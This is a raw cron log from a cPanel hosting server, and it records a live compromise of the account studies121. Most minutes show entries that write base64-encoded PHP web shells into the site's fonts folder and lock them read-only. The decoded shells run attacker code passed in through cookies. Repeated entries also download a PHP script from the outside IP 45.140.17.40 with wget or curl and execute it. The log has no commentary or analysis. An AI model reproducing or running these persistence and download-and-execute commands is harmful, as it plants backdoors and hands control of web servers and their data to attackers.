Aug 30 10:17:02 ip-184-168-122-23 CROND[23444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:17:02 ip-184-168-122-23 CROND[23446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:17:02 ip-184-168-122-23 CROND[23448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:17:02 ip-184-168-122-23 CROND[23445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:18:01 ip-184-168-122-23 CROND[23583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:18:01 ip-184-168-122-23 CROND[23585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:18:01 ip-184-168-122-23 CROND[23587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:18:01 ip-184-168-122-23 CROND[23586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:18:01 ip-184-168-122-23 CROND[23588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:19:01 ip-184-168-122-23 CROND[23680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:19:01 ip-184-168-122-23 CROND[23681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:19:01 ip-184-168-122-23 CROND[23683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:19:01 ip-184-168-122-23 CROND[23685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23788]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23791]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:20:01 ip-184-168-122-23 CROND[23798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:20:01 ip-184-168-122-23 CROND[23795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:20:01 ip-184-168-122-23 CROND[23801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:21:01 ip-184-168-122-23 CROND[23896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:21:01 ip-184-168-122-23 CROND[23897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:21:01 ip-184-168-122-23 CROND[23899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:21:01 ip-184-168-122-23 CROND[23900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:22:01 ip-184-168-122-23 CROND[24077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:22:01 ip-184-168-122-23 CROND[24082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:22:01 ip-184-168-122-23 CROND[24081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:22:01 ip-184-168-122-23 CROND[24079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:22:01 ip-184-168-122-23 CROND[24080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:23:01 ip-184-168-122-23 CROND[24183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:23:01 ip-184-168-122-23 CROND[24185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:23:01 ip-184-168-122-23 CROND[24187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:23:01 ip-184-168-122-23 CROND[24186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:24:01 ip-184-168-122-23 CROND[24286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:24:01 ip-184-168-122-23 CROND[24290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:24:01 ip-184-168-122-23 CROND[24289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:24:01 ip-184-168-122-23 CROND[24288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:24:01 ip-184-168-122-23 CROND[24291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:25:01 ip-184-168-122-23 CROND[24459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:25:01 ip-184-168-122-23 CROND[24461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:25:01 ip-184-168-122-23 CROND[24462]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 10:25:01 ip-184-168-122-23 CROND[24464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:25:01 ip-184-168-122-23 CROND[24465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 10:25:01 ip-184-168-122-23 CROND[24463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 10:25:01 ip-184-168-122-23 CROND[24466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:26:01 ip-184-168-122-23 CROND[24599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:26:01 ip-184-168-122-23 CROND[24602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:26:01 ip-184-168-122-23 CROND[24603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:26:01 ip-184-168-122-23 CROND[24606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:26:01 ip-184-168-122-23 CROND[24605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:27:01 ip-184-168-122-23 CROND[24714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:27:01 ip-184-168-122-23 CROND[24717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:27:01 ip-184-168-122-23 CROND[24718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:27:01 ip-184-168-122-23 CROND[24716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:28:01 ip-184-168-122-23 CROND[24898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:28:01 ip-184-168-122-23 CROND[24900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 10:28:01 ip-184-168-122-23 CROND[24901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 10:28:01 ip-184-168-122-23 CROND[24902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 10:28:01 ip-184-168-122-23 CROND[24903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 10:29:01 ip-184-168-122-23 CROND[24999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 10:29:01 ip-184-168-122-23 CROND[25000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
